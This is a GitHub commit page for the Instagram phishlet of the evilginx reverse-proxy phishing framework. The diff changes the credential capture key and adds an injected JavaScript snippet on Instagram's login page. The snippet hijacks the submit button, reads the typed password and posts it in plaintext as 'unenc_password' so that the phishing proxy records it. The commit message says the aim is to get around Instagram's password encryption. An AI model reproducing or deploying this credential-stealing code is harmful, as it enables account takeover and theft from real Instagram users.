Skip to content

Commit

Permalink
Update Instagram Phishlet - Unencoded Password
Browse files Browse the repository at this point in the history
Since Instagram added an encryption tool on his passwords, the passwords are sended encoded and evilginx get it encoded. Just added a request in javascript to send anywhere the unencoded password and the evilginx get it unencoded.
  • Loading branch information
charlesbel authored and kgretzky committed Feb 2, 2021
1 parent b94439b commit 88e8d5c
Showing 1 changed file with 23 additions and 2 deletions.
25 changes: 23 additions & 2 deletions phishlets/instagram.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
author: '@prrrrinncee'
author: '@charlesbel'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true}
Expand All @@ -16,9 +16,30 @@ credentials:
search: '(.*)'
type: 'post'
password:
key: 'pass'
key: 'unenc_password'
search: '(.*)'
type: 'post'
login:
domain: 'www.instagram.com'
path: '/accounts/login'
js_inject:
- trigger_domains: ["www.instagram.com"]
trigger_paths: ["/accounts/login"]
trigger_params: []
script: |
function onclickListener(){
var submit = document.querySelectorAll('button[type=submit]')[0];
submit.setAttribute("onclick", "sendPass()");
return;
}
function sendPass(){
var password = document.getElementsByName("password")[0].value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/accounts/login/ajax/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("unenc_password="+encodeURIComponent(password));
return;
}
setTimeout(function(){ onclickListener(); }, 1000);

0 comments on commit 88e8d5c

Please sign in to comment.